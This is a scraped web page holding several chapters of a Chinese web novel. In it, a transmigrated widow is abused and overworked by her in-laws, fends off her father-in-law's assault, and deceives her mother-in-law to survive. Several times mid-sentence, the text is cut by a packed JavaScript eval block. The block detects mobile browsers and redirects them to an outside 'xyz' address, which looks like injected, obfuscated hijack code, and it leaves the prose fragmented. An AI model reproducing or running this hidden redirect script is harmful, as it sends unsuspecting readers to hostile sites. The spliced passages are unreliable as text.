要知道,她原来不喜欢吃生食,连三文鱼刺身都下不去口,而且她从前对蛇鼠虫蚁只感到恶心,现在却丧心病狂的把它们当成了食材。 以前她听说过一句话:人类是适应力极强的物种,一旦被逼到绝境,什么事都做得出来。 初听懵懂无感,此刻她深有体会。 如果真的饿到极致,什么蛇肉、老鼠肉、大肉虫,她可能通通都吃得下去。 但是,变成那副模样丑陋的人,真的还是她吗? 心情忽然很低落,不能再继续胡思乱想下去了,夏知霜清空脑海的杂思,决定暂且睡一觉。 她捡些细散的木柴垫在地上,躺上去会硌得慌,有时还会压痛伤口,但如果直接躺到地上的话,寒气会漫上来让她冷得昼夜难眠。 鞭痕隐隐作痛,夏知霜睡得并不安稳。 还有一个难以齿齿的原因,虽然很不想承认,她偶尔会被自己身上的气味熏醒。 任谁在大汗淋漓后超过七天不洗澡不换衣服,还整天待在几近封闭的环境里,气味都不会太好闻,不长虱子已是万幸了。 无论是睡是醒,不管白天还是黑夜,时间仿佛被拉长一样慢得不可思议。 她通过外面的天色判定日升月落,在被关了整整十天,伤势已无大碍的时候,窘境迎来了转机。 陈母的陪嫁丫鬟柳绿亲临柴房,指挥人把夏知霜提溜出去。 夏知霜被几个小丫头摁进浴桶中一顿刷洗。 她们力气很大,好似要把她的皮搓下来一层。 夏知霜忙喊“疼”、“轻点”,无果,丫头们把她的话当成耳旁风。 她饿得头昏眼花无力反抗,转向柳绿,含泪明示:“姐姐,今天的饭还没到送呢,我快饿晕了。” 柳绿不理她,自顾自对小丫头们说:“洗干净点,免得腌臜气熏到夫人。” “是。”小丫头们齐声答。 没讨到吃的,且听人提及陈母,夏知霜既委屈又畏惧,半点不敢动,只得任人揉搓。 换过两桶冷水,总算把她洗干净了。 去见陈母的路上,夏知霜从柳绿口中得知了一些事。 初入陈府时,她在昏迷中被人挟着走完了阴魂的流程,目今,她已是陈员外正儿八经的儿媳,官府登记在册的陈家独子之妻。 “就算你想逃,老爷夫人随时可以报官将你缉拿,”柳绿冷冷地说,“信不信,你若真能逃出去,丛家会第一个把你送还。” 夏知霜默默不语。 她的话是警告,亦是血淋淋的事实。 这个时代的女子一生的依靠要么是婆家,要么是娘家,而她两头不着靠,哪样都不能当做依仗。 行至正院,陈母的奶娘拦住了她们。 “夫人小憩,尔且等等,”徐奶娘斜眼瞧夏知霜,对柳绿道,“少夫人出身微寒,又初来乍到,难免不知规矩,你当全一全少夫人的礼仪。” “是。”柳绿应声,对两个小丫头使眼色。 夏知霜被人压向陈母卧房的方向下跪,膝盖磕下去时发出好大的响声,痛得她嘶生抽气。 她本能的要去揉磕到的地方,徐奶娘手中的小木棍马上抽过来,又是一声清脆的击打声。 好痛啊! 夏知霜眼泛泪花,想站起来与其争论,刚动就被左右两个丫头牢牢按住双肩,她怒目而视:“放开我。” 柳绿面无表情说:“少夫人有所不知,跪候婆母歇息是媳妇的本分。” 哈?! 那哪是她婆母,鞭她鞭那么狠,分明是老妖婆才对! 意思是要她跪到老妖婆醒来为止?夏知霜从没听过这么离谱的规矩。 奈何身体被人钳制,动也不能动。 夏知霜窝着一肚子火气,那徐奶娘一副她胆敢顶撞就抽过来的架势,她便敢怒不敢言,憋屈跪着。 徐奶娘抖抖木棍,得意冷哼。 烈阳当空,时间一息一息过去。 柳绿叫人搬来椅子,在阴凉的廊下给徐奶娘打扇,徐奶娘又是喝茶,又是爽吃瓜果,好不快活。 夏知霜暴露在毒日头下,头顶晒得火辣辣,热得汗水涔涔。 两个看守她的小丫头同样不好过,因着埋怨夏知霜让她们白受这份罪,在她跪得腿麻了忍不住换姿势时,她们更用力把她往下摁,咬牙切齿说:“还请少夫人认真学规矩。” 夏知霜被压得脸颊都快贴到地板了,已经能感受到从地面升腾上来的热浪。 我学你个xx!她愤怒的在心里骂道。 可怜她是个循规蹈矩、没跟人吵过架、不会说脏话的三好良民,空有一腔怨气,想在心中发泄骂人都不太会骂。 徐奶娘闲不住,在那给她念陈家的家规立威。 又过一柱香,陈母醒了,沉静的正院活络起来。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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夏知霜明白了,他们故意拿旧衣服来给她增加工作量。 她纵然生气,也没地方说理去。 夏知霜试图打商量:“我今天还没吃饭,能不能吃东西再洗?”好歹吃饱再干活不是。 陆婆子当做没听到她的话,独自往下说。 “别以为这活很简单,洗涤衣物有许多讲究,漂洗一次,搓洗一次,锤洗一次,复搓一次,再漂洗一次。不同的布料有不一样的浆洗方法,晾晒也各有门道……” 夏知霜越听越心塞,非常抗拒触碰别人穿过的衣服。 天杀的,她都没洗过自己的衣服! 人在屋檐下,不得不低头。 她不情不愿地上手去洗。 陆婆子不知打哪搞来一根木棍,但凡夏知霜做的和她教的有出入,棍子毫不留情地抽下去。 “力道那么轻如何洗得干净?” “这么用力是想洗坏衣裳?这可是名贵的软云绸,金线绣的!” 实践试错的成本太高,陆婆子一棍又一棍,夏知霜被迫纠正了一个又一个错误。 饿得头晕眼花来干活还要被打,委屈感油然而生,她不禁边洗边哭。 五大桶衣服,从下午洗到天黑。 陆婆子带她去下人房歇脚,晚饭是两个馒头搭咸菜。 一点荤腥油水都没有,这哪是人过的日子啊? 夏知霜抱怨归抱怨,还是很珍惜地吃完来之不易的晚餐。 5. 第 5 章 夜色浓沉,无锁的窄小下人房被推门而入,丫鬟彩玉掀开夏知霜陈旧的薄被。 “少夫人,该起了。” 夏知霜在她进门时就惊醒了,闻言不好再装睡。 住进陈家已有月余,每天有人来赶她起床,如果继续赖床会招来惩戒。 她有一次太累实在起不来,马上就吃了一顿徐奶娘监刑的二十大板,自那之后,她再怎么困乏都会按时起。 彩玉欣赏自己莹润有泽的指甲,悠声催促:“请少夫人快些,休要误了老爷夫人的膳时。” 她生得貌美,以前是陈少爷书房中伺候的人,地位在柳绿之下、众丫鬟之上,在陈府的两百多个仆役中有很高的话语权,现今被派来监管“少夫人”的一言一行。 无人觉得一个下人监视主子有什么不对。 莫说阖府的人不把“少夫人”当主子,那是直接不把她当人看。 如此境遇下,夏知霜当然不敢忤逆她,加快穿衣汲鞋的速度。 ……天知道她的动作本来就很快了。 匆匆洗漱,夏知霜带着一条“尾巴”出门了,前后用时不过须臾。 她要干的活非常繁琐。 卯时,也就是凌晨五点就得起床,到正院的小厨房去给陈氏夫妇煮早饭,从洗菜、切肉到烹煮全部由她一人完成。 夏知霜从未下过厨,顶多曾经围观过保姆阿姨们做饭,勉强认出油盐酱醋糖的程度。 可想而知,要她去做饭,还是用传说中古老的柴火灶,会闹出怎样的笑料。 头一天,夏知霜怎么都生不起火,折腾了一个多时辰徒劳无功,被徐奶娘的小木棍狠狠抽了一顿。 徐奶娘阴阳怪气道:“幸好大厨房如常备了主子们的朝食,不然老爷和夫人等到天荒地老,怕是都等不来少夫人进献的孝心呢。” 夏知霜心想,既然你们还有大厨房的老师傅,干嘛还要我来做啊,专业人士煮的菜不是更香吗?! 当然,她只敢暗地里蛐蛐两句。 后头的几天,夏知霜成功学会了生火,只是要么差点把小厨房给烧了,要么是烈油烹水差点炸锅了,结局依然是陈氏夫妇美美吃大厨房,她遭人痛打惩罚,当天还不给饭吃…… 正所谓棍棒出孝子,夏知霜为了不挨打、不挨饿,厨艺进步神速,想不孝都难。 时至今日,她熟练的按照徐奶娘给的单子做出了冰糖燕窝一碗、胡麻粥一蛊、素杂烩一品、凉拌鸡丝一碟、鹌子水晶脍一盏、虾仁蒸饺一笼并一道莲花蒸肉饼。 夏知霜直腰擦汗,心里成就感满满,她做的菜简直色香俱全啊。 至于味道怎么样嘛,有人盯着,她根本不能偷吃,尝味道什么的也是彩玉试吃,再指挥她这个少放、那个多放。 哪有不能偷吃的厨子,简直没天理! “嗯?”彩玉见她杵着不动,斜睨向她。 夏知霜气焰顿消,洗锅擦灶,假装自己好忙。 实际上也不闲。 做完早饭天已蒙蒙亮,她必须烧水给陈氏夫妇洗漱用。 卯时六刻,也就是清晨六点半,夏知霜准时到正院,彩玉带人摆桌,她转进屏风内服侍陈母穿衣洗脸。 经过月余的调教,她自认伺候人的本事做得不比丫鬟们差了,可架不住陈母鸡蛋里挑骨头。 夏知霜捧着洗面药默默倒数:三,二,一。 陈母突然发难:“你是想要烫死我吗?贱人!”巴掌随着劲风落下。 夏知霜捂住被扇麻的左脸,小声解释:“你昨天说水温不够热,所以我才……” “还敢顶嘴?”陈母怒不可遏。 眼看第二个巴掌就要往她右脸挥去,陈员外淡淡道:“行了,一大早就嚷嚷,吵得我头痛。” 陈母才冷哼作罢,夏知霜微微松气。 到了饭桌上,她站着给他们布菜。 陈氏夫妇早上一般吃得少,他们用膳时从不言语,表情也纹丝不动,气氛很压抑,连带着夏知霜战战兢兢,生怕筷子碰到碗碟发出声音招来打骂。 饭毕,夏知霜饿着肚子收桌,看到没动什么的饭菜就气不打一处来。 老匹夫!老妖婆!胃口不好就别天天叫她做那么多啊,很累好不好! 生气之后就是嘴馋。 天天啃馒头和咸菜,腹中没什么油水,还整天吃不饱,她经常饿得睡不着。 夏知霜饿怕了,一点都不介意吃残羹冷炙,然而每时每刻都有人盯着她,根本不会让她做吃剩菜这种不雅的事。 有一回她收桌时想悄悄藏两个三鲜包子,被彩玉识破她的意图。 彩玉用眼角睨她,傲然教训:“咱们陈家在青阳城数一数二,放在整个观淇也是有头有脸。你是府上的少夫人,言行举止关乎陈家的体面,切勿忘记这一点,不可行有辱家风之举。” 换言之,她占着少夫人的名头,好处全不能捞,坏处倒是一个都不落。 夏知霜怨念的收拾好桌子。 彩玉马不停歇赶她去绣房织布,美其名曰亲手给公婆做衣裳是尽孝的一环,说出去都是谈美。 呸,那么多的正经绣娘不用,偏要她从头学起,明摆着是磋磨人。 夏知霜吐槽归吐槽,让做什么就做什么,只因不做就没饭吃。 天大地大,吃饭最大嘛。 于是乎,彩玉在一旁无聊嗑瓜子,夏知霜跟绣娘学得天昏地暗,穿针刺绣时指头满是针眼,织布裁衣时小腰快累断。 午餐照旧是稀粥、馒头和小菜。 夏知霜狼吞虎咽,没尝出味道就干完了,不得歇便奔赴水房。 天天洗,日日晒,还是有洗不完的衣服等着她。 暮色漫天,夏知霜仍在忙着给衣服熏香,以备晚些时候陈氏夫妇沐浴后要穿。 双人的一套里衣和两套外衣共计二十件左右,一件件隔空罩在熏香笼上慢烘,大半个时辰就过去了,正好到陈府晚饭的点。 夏知霜连忙赶赴正院,去伺候那对黑心夫妻用晚膳,期间少不得被陈母找理由打骂。 收桌后,她去小厨房烧热水给夫妻俩洗澡用,这时候她已经饿得发抖,幸好柳绿嫌弃她来回提水太慢,以致水温下降,影响陈员外洗澡的心情,就专门派人来取。 送走取水的人,夏知霜摸黑吃完跟午饭相差无几的晚餐,再次回到自己的房间,已至戌时六刻,也就是夜里九点半。 然而这会儿的时间还不属于她。 陈母命令她每晚给亡夫抄拂经,攒下来定期送到有名的寺庙去烧,好为亡夫祈福。 夏知霜看着矮桌上一摞的佛经就头疼,这里的字迹皆繁体,佛经中又含生僻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“喜欢清新不厚重的栀子香,尤其是天香斋的原栀香露,对吧?”夏知霜快速接话,“公公则喜爱淡淡的竹气,最宜熏汇香记的竹染香膏,没错吧?” 陆婆子讪讪闭嘴,看她麻利熏衣。 傍晚前干完活,夏知霜有一盏茶的空档,她津津有味的欣赏人工湖里绽放的荷花。 卧房中。 她边抄边念,监工的彩玉指指点点:“读错了,不是这个音,断句也不对。” 夏知霜停笔。 佛经没有标点符号,她很难断句,而且有些字的发音跟她前世学的迥然不同。 夏知霜不耻下问:“那该怎样?请姐姐教我。” 彩玉顿了下,嘴上不饶人的讥讽两句,还是帮助她更正了读法,并从怀中掏出一本字帖丢过去。 “你的字根本不能看,”彩玉别过头不看她,生涩解释,“我是为了我的眼睛着想,实在是不想再看到你有碍观瞻的字。” “……”她觉得自己用惯毛笔后写得还挺周正来着。 不过有字体绝对是好事,以后抄佛经就大大降低返工几率,早点写完陈母规定的张数还能早点睡觉。 夏知霜嘴甜道谢,美美练起来。 果不其然,练了半个月,她第一次在子时抄完当天份量的佛经。 送走彩玉,夏知霜难得有闲心仰望皓月,思绪渐渐飞远。 刘公子,刘宁,你还活着吗? 6. 第 6 章 夏知霜没有一刻忘记过刘宁。 他是个好人,他说过如果他还活着,如果她没能走脱,他一定会来救她的。 被鞭打卧床不能起时,饿得彻夜辗转反侧时,被热水泼身烫得浑身起泡时……每每被老妖婆折磨得快要撑不下去的时候,她都牢记刘宁当初的承诺,鼓舞自己还能再坚持。 在孤立无援的漫长半年中,夏知霜单向对刘宁加深了感情,视其为心灵支柱,视其为救赎。 否则她不知道该怎样面对未卜的明天。 陈家太大了,光是出入正院就得经过护院守卫的两道门,四处都是监视她的眼睛。她从没出过正院,听彩玉说正院之后是守备更森严的前院,且除陈员外和陈夫人外,进出府门需出示对牌。 光凭她一个手无缚鸡之力的弱女子,要逃出深宅大院难如登天。 因此,夏知霜比任何人都希望刘宁还活着,甚至比刘宁本人都希望他安然无恙。 她盼呀盼,从春天等到秋天,还是没盼来救她的英雄。 尤其最近陈父不着家,府里气氛糟糕,她成为了陈母的出气筒,逃走的心愈发强烈。 “啪”的一声,下人们见怪不怪地旁观夫人掌掴“少夫人”。 陈母命令她去做山药枣泥糕,夏知霜做好献上来,又被打翻碗碟,甩嘴巴子怒骂:“明知我牙疼还做那么甜,你诚心气我是不是?” 夏知霜咬紧下唇,跪地认错。 她分明是按照平时的配比做的,鬼知道你牙疼,再说了,三分糖和进面粉中都尝不出味了,甜个鬼啊? 陈母拿鸡毛掸子戳她脑袋,大声质问:“说话啊,哑巴了?” 夏知霜头垂得更低,仍然不敢吭声, 前车之鉴摆在那,解释只会换来更多的嘴巴子,她才不会上当呢。 “真是下贱坯子,一点小事都做不好,上不得台面,”陈母心烦意乱,一脚踢到她肩,“别在我跟前碍眼,滚!” 夏知霜闷哼一声,膝行后退,离远了才起身疾步逃走。 走到院子,无意中听见徐奶娘和柳绿嘀嘀咕咕。 柳绿忧心忡忡:“夫人茶饭不思,这样下去不是办法。” 徐奶娘叹气:“解铃还须系铃人,派人去请老爷了么?” “去是去了,可是老爷不是被玉春楼的狐媚子勾走,就是被置放在外头宅子里叫什么玲玲的妖女缠住,把咱们派去请的人全给打发回来了。最可恨的就是那妖女,近些年愈发过分,不仅多次阻拦使咱们的人见不到老爷,老爷好不容易回来一趟时,她还敢明目张胆的叫人进府传话把老爷勾过去,真真气人。” “唉,当务之急还是先把老爷哄回来……就说夫人头痛病又犯了?” 柳绿摇头:“试过了,夫人喝了那么久的引子药都不见效,只怕老爷是失望透顶,才把劲往外使,轻易不会回来了。” 徐奶娘也猜到了这一层,心里那个愁啊,叹说:“少爷辞世逾半年,陈家家大业大,总要有人继承,夫人和姨娘们又没一个有好消息,不怪老爷会心急。” 柳绿也愁,忧道:“夫人花容已不再,和老爷感情渐淡,要是老爷在外面有了野种,到时夫人就难自处了。” “谁说不是呢。” 徐奶娘心急如焚,同柳绿大眼瞪小眼,皆束手无策。 两个谨慎了半辈子的人精,唯这次背人议论主子的私事,偏被夏知霜听到了。 夏知霜吃完惊天大瓜,悄悄绕路离开。 到水房洗衣服的时候,她思来想去,发现自己人微言轻,没办法利用这件事破开自身当前的困境,能做的只有更加小心翼翼,尽量减少被陈母当出气筒的次数。 然而她再怎么尽心伺候,陈母只要在家,对她依旧打骂交加,给她安排了很多额外的工作。 夏知霜洗完衣服之余,须去井边用最原始的方式打水,足足得打十六桶。 手上全是老茧和水泡,磨破之后血液糊在井绳上,用力抽拉时绳子还会勒进伤口中,很疼很疼。 她好几次因饥饿力竭,差点被绳子卷入井中。 打完水,还得挑到厨房去放,来回八趟,扁担磨破肩膀的旧伤,衣服一片血淋淋。 夏知霜边哭边干活,速度一旦慢了,原本负责打水的李婆子就奉命拿鞭子抽她。 挑水后还要去打扫整个正院。 尽管她把每个角落都得扫得干干净净,徐奶娘的木棍还是会敲到她身上。 夏知霜一身的旧伤添新伤,夜里总是疼得睡不着,涂药刺痛伤处时还得压低声音,吵到隔壁左边柳绿的话,明天本就不多的饭就会减一半。 这还是人过的日子吗? 伤心、难过、痛恨、憋屈,多种情绪充盈胸腔。 泪水把衣服打湿了一遍又一遍。 无眠的夜里,她常常在想,为何她要遭受这种罪?扪心自问,她没有做过一件伤天害理的事。 夏知霜环紧自己,痛苦地闭上眼睛,恨不得这一切只是一场漫长的梦境。 次日醒来,还是身处牢笼之内,她止不住的失望。 陈父一直没回来,陈母天天大发雷霆,受到迁怒的夏知霜做尽了粗使婆子该做的活。 她就像个被人抽着不停转的陀螺,一息不得停歇。 八月十五这日,陈父难得回了一趟家过节,陈母大喜过望,下令大摆宴席。 人人有赏,死气沉沉的府邸久违恢复了点生气。 夏知霜没想到自己也有赏,一套桃红色的新衣服,一双朴素的绣鞋。 长久以来,她所穿皆是徐奶娘以前的素净旧衣,宽大臃肿,完全不合身,但陈母说她是新寡,该学久寡的徐奶娘怎么穿,她自然不敢忤逆。 没人不爱新衣服,况且陈母赐衣用意很明显,大过节的穿喜庆点才合适。 夏知霜换上了新裙,到正院后,发现自己竟然有资格入座,位于主桌边摆的另一桌,桌上点有一柱香。 彩玉引她入座,接着到对面去,朝空座屈膝行礼,再回到她身后站住不动。 夏知霜后知后觉,对面摆了碗箸的空座是她亡夫的位置,彩玉可能是侍候过他的丫头,虽然没来得及给名分,但算是他房里人,这才在席上立在她身边。 敢情要她穿体面点是为了给亡夫看,还非得把妻妾一起摆在那,聊慰亡夫的情苦。 夏知霜讽刺地扯了嘴角,也就这种时候,她才能沾上少夫人的派头。 陈氏夫妇素日把她当空气惯了,全程没正眼瞧她,自顾自热聊。 夏知霜乐得没人管,趁机多吃点,桌上有很多好菜呢! 时不时有小丫头给空座斟酒,彩玉也过去给“少爷”布菜两次。 就在夏知霜寻思要不要也为名义上的丈夫夹菜意思一下,彩玉附耳道:“少夫人,该去给老爷和夫人敬酒了。” 彩玉顿了顿,又提醒说:“别忘了代少爷的那一份。” 还有这事?夏知霜懵懂起身,果有丫鬟端着装酒壶的托盘跟随。 她有点怕的停在陈母三步之外,陈母正殷勤给丈夫夹菜,不快有人打扰,看在敬酒是家宴流程的份上才隐而不发。 夏知霜小心斟酒,按彩玉教的先敬陈父:“媳妇代夫君敬公公清酒一杯。” 陈父疲于应付妻子,只想快点散席去陪爱妾,他心不在焉地接过酒杯,忽被儿媳妇屈膝敬酒的窈窕身段吸引,视线上移,惊觉她颜色十分动人。 他像是刚发现她长什么样,猛然瞧个稀罕。 这也难怪,陈父第一次见她的时候,她头发凌乱浑身血泥,乍看不出奇。后来她荆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16326853|183263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 钗布裙,又被折磨得不成人样,加之陈父对她满腹怨气,自是不愿细看。 夏知霜见他接了却久久不喝,不能继续走流程,她奇怪地抬头,只见对方眼睛一下子亮得惊人,直勾勾盯她。 她吓了一跳,赶紧低头,反省哪个步骤做错了,担心会不会被打。 旁观的陈母倒是心如明镜,哪里看不出古怪来,她重重冷哼。 陈父醒神,慌忙侧过身去饮酒。 夏知霜在他喝完后给陈母敬酒:“媳妇代夫君给婆婆敬上一杯佳酿。” 陈母气得心口疼,又不得不喝,看她的眼神像是要吃人。 夏知霜心惊肉跳,动作加快,战战兢兢又敬完第二轮酒。 转身回席途中,她总觉芒刺在背。 回到座位,目光撞上彩玉复杂的眼神,她愈发忐忑难安,难不成真的哪里做得不对? 主桌那两位频繁错开望来,夏知霜如坐针毡,味同爵蜡,好在为亡夫点的香很快燃尽,宴席也跟着散了。 徐奶娘拦住她,安排她去厨房干杂活。 席间用到的所有炊具和餐具装了五大筐,夏知霜洗得头晕眼花,一个多时辰才干完。 她轻捶酸痛的腰离开厨房,一想到等会还要抄经,双腿如灌铅。 从花园拐道,进到小径时,忽然有人捂住她的口鼻将拖入黑灯瞎火的墙角。 夏知霜嗅到了熟悉的紫竹香膏气味,瞳孔扩张,奋力挣扎。 “别喊,是我是我。”陈父死死抱住她,“反正我儿已无福消受,你何不成全了我?” 夏知霜拼命摇头,拳打脚踢。 体型悬殊,陈父三两下制住她,耐心劝哄。 “你既为陈家妇,给陈家传宗接代是你份内之事,要你将来去跟别人借种,还不如我亲自来,好歹还是咱们嫡系的血脉。” “你吃了那么多苦头,想必也不想再过非打即骂的日子吧?你若跟了我,我必护你周全,保有你享不尽的荣华富贵。” 夏知霜仍摇头,泪如泉涌。 在她准备提腿揣烂他子孙根,拼个鱼死网破的时候,不远处有脚步声响起,她忙改变方向,猛踢旁边的小树。 那人听到动静,转往这边而来。 陈父大惊,扒灰说出去到底不光彩,他还是要脸的。 “贱人,不知好歹!”他低声气骂一句,带着满腹邪火匆忙逃离。 夏知霜恢复自由,脱力跌地,惊骇得一时走不动路。 她不敢叫人,此事若声张出去,老妖婆必然生生撕了她。 不知为何,那个人在老匹夫逃走后没继续往这边来,脚步远去了。 夏知霜不敢多留,等手脚不抖了便跌跌撞撞逃离。 跑回住处,发现门口多了一瓶金疮药,而隔壁右边彩玉的卧房大门紧闭,没有像往常那样过来监督她抄经。 夏知霜捡药进门,点亮蜡烛,紧急把几块木板拼成的小床推到门口顶住,才坐到地上无声痛哭。 她再次想起了刘宁。 这个鬼地方她一天都不想多待,刘宁怎么还不来救她脱离苦海呢。 是不是当初她提供的信息太少,他找不到这里?是不是她初见时下意识报了真名,而非这具身体的本名“丛贞”,所以刘宁搜寻她的难度会大大增加,才暂时找不来? 如果是以前,她会像这样给自己找合理的推测,而且会刻意逃避刘宁已死和刘宁忘了承诺的设想。 此时此刻,夏知霜的心已然麻木,不再给别人不来搭救而找各种理由。 她紧握双拳,掌心的药瓶压到磨破的水泡,传来丝丝疼痛。 这缕痛楚令她保持清醒。 她从未像现在这样冷静。 ——求人不如靠自己,不能再把命运交到别人手上。 7. 第 7 章 夏知霜担心陈父深夜强闯,害怕陈母派人抓来,忧思惨然,一夜未能眠。 翌日,她做完早饭去到正院,天边泛白,陈母久久未起。 她端着水盆跪候至日上三竿,温水变冷,换了三趟。 这是从未有过的事,陈母向来早起,纵是头疾复发也不曾长睡。 夏知霜惴惴不安,禁不住胡思乱想。 难不成,昨夜墙角之事东窗事发了,老妖婆在考虑怎么处置她? 她越想越害怕,水盆差点端不稳。 “少夫人,请注意仪态,”彩玉端站一旁,语气无波,“夫人最重礼教,切莫在夫人面前失仪。” 夏知霜恍然惊醒,没那么惧怕了。 是了,老妖婆眼里容不得砂砾,若是得知了昨晚的事,必是不分青红皂白,第一时间就把她捆来问罪了。 今下不可自乱阵脚,免得老妖婆察觉一二。 夏知霜定了定神,跪得板板正正。 一盏茶后,徐奶娘从陈母卧房出来,黑脸传唤:“夫人旧疾复发,将卧床静养,有几句话须交代少夫人。” 夏知霜把水盆交给小丫鬟,硬着头皮跟进去,余光打量室内情况。 幸好,老匹夫不在。 老妖婆面如金纸,一看就是真病,不是为了邀宠而假装,病因极可能是昨天席上被老匹夫色眯眯看儿媳的事气出来的。 夏知霜飞快收回目光,垂首谨小慎微。 陈母开门见山,气势汹汹打听:“你父今辰便离家,他此前,可曾与你有所交代?” 夏知霜瞬间绞紧衣角,额角冷汗直冒。 她的一言一行皆有人上报,何时在哪,跟哪个下人说了什么话,全都瞒不过徐奶娘。幸亏昨夜她没和陈父纠缠太久,行程和时间对得上,又无目击者,此事应该无外人知晓。 而她房间左右都有人监视,陈父有无派人来传话,陈母岂会不知。 这是来试探她的,试探她有没有攀附陈父之意;陈父已然对她起了色心,她若有意,百分百会闹出丑事。 夏知霜毫不怀疑,如若自己哪里答不对,令老妖婆起疑,今日小命休矣。 “回婆婆,媳妇昨夜疲乏,一觉天明……”她眼角偷觑陈母脸色,随机应变,“今早如常备膳,并未收到公公的训示。” 陈母脸色好看了点,但眼神还是如鹰瞵鹗视。 夏知霜心中苦涩,老妖婆往后肯定会堤防她和老匹夫了,更加视她如眼中钉、肉中刺,今后的日子愈发不好过。 说不定哪天他们夫妻吵架之后,老妖婆就杀她泄愤。 若不然,她迟早也会被老妖婆虐待致死,毕竟她现在如履薄冰活得艰难,好几次险些丧命,无论如何也扛不住更猛烈的磋磨。 事已至此,不如冒险赌一把。 夏知霜欲言又止,心事重重的模样。 陈母多疑,果然复问:“何事?” 夏知霜犹豫数息,豁出去状:“昨天酉时四刻,媳妇自厨房归途中,偶见公公独行于花园赏景,媳妇未敢打搅,默默改道,转身时偶闻其言……” “他说了什么?!”陈母探头急问。 夏知霜快速打好腹稿,学老匹夫昔日言语的口吻,怯怯地道:“他对月叹息说,‘玲玲吾卿,佳节不能作伴,甚是遗憾,席间忽见儿妇有几分神似卿,思卿身单影只,心惜神伤,恨不能即往’。” 徐奶娘在她刚起话头时就对她猛摇头,暗示她别再说下去,以免陈母气急攻心病情加重,夏知霜假装没看到,低声“坦白”至尾。 陈母胸口强烈起伏,摇摇欲坠,徐奶娘立即上前扶稳。 夏知霜装模装样要过去虚扶,岂料陈母很快缓过劲来,一把揪住她衣领。 陈母怒问:“你说的可是真的?” 夏知霜脸不红心不跳,语气坚定:“名字无法确定是玲玲还是琳琳,其余无半句虚言。” 常言道,半真半假的话才最得人取信,她确实说了一半真话,一半假话。 因为她吃瓜的时候,只听柳绿提过一次陈父外室的名字,她的确不敢保证听来的那个名字一定是对的。 以防万一,她刻意模糊了那个名字,以免陈父外室的名字当真不叫玲玲,会留下明显的漏洞。 只听过一次的名字,记不清具体是哪个也正常,陈母果真没立刻质疑她的说辞。 徐奶娘皱眉追问:“可有人做证?” “有,”夏知霜即答,“彩玉同在。” 陈母使了个眼神,徐奶娘即刻退出去,一是交代柳绿去办事,二是提溜彩玉进去。 彩玉才进门就察觉氛围异常,她下意识扫向夏知霜,二人快速碰了个眼神。 “奴婢给夫人请安。” 陈母迫切道:“我问你,昨晚酉时四刻你身在何处?” 彩玉如实答:“奴婢酉时三刻巡视完如漆院,估摸着少夫人在厨房事毕,故而顺路寻少夫人同归,为少爷抄经祈福。” 府里几百人口,各个地方来来往往那么多人,不止是夏知霜的行程瞒不过正院,仆役们的行程也是透明的,只要主子们诚心想查,谁见了谁,谁哪个时辰在哪个地方都骗不了人。 陈母绝不会听信一面之词,定会调查清楚昨天酉时的各人动向,正因如此,夏知霜料定彩玉不敢撒谎。 如此,她接下来就好发挥了。 夏知霜抢先一步发话:“彩玉,你可能耳力比我好,可有听清公公昨晚在花园中叫的是玲玲、琳琳还是梨梨?” 彩玉不敢相信自己的耳朵,一般人都会把那事烂在心底,没想到对方居然会主动提及。 她太震惊了,以至于没能及时反应过来,好在她聪慧过人,马上猜到是怎么回事,刹那间就想到了应对之策,而且将要说的话配上她惊愕的样子十分合衬。 “奴婢在几步之外随侍,并未近前,实是不知。” 彩玉含糊其辞,没直接承认见过陈老爷,也没说明是不知陈老爷昨天说了什么,还是不知当前的少夫人在说什么。 无论事态的走向如何,她都能凭借此言翻供。 这话落入陈母和徐奶娘耳中就是另一回事了,先入为主的认定她们的确在花园偶遇了陈父,陈父也确是对月伤怀,说过几句什么话。 知晓外室玲玲存在的人少之又少,全是陈氏夫妻的心腹,她们断定夏知霜绝无可能会事先知道这桩丑事,那么夏知霜的话就有极高的可信度。 陈母脸色几度变换:“除你二人之外,可还有别人?” 夏知霜摇头,彩玉慢她半拍答:“没有了。” 柳绿忽而入室,对陈母耳语:“夫人,打听清楚了,昨儿酉时二刻老爷说去散心,不许人跟随,三刻有人曾见老爷前往花园方向,没到五刻就出来了,神情似有郁色。” 陈母面色一沉,郁气节胸。 怪不得老爷昨晚回房后心情不佳,对她的好言好语不予理会,原来是想外面那个贱人了,想到天不亮就着急忙慌出门! 陈母勃然大怒,可还怀着一丝希冀问:“有无查清老爷出门去了何处?是不是巡查各地商铺去了?” 柳绿小心翼翼答:“派去尾随的人来报,老爷他……到青平坊去了。” 青平坊永乐巷,是陈父金屋藏娇的地方,他对发妻疲软不支,一大早就寻外室泄邪火去了。 得知丈夫的具体动向,陈母悬着的心终于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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所以干脆把彩玉扯进来,成为共犯,彩玉为了不失信陈母,保住府中的地位,自会守口如瓶。 彩玉明知中了她的算计,各方周虑下,不得不忍气吞声。 这不过是一报还一报,夏知霜自认没理亏,彩玉算计她,她回算彩玉,扯平了。 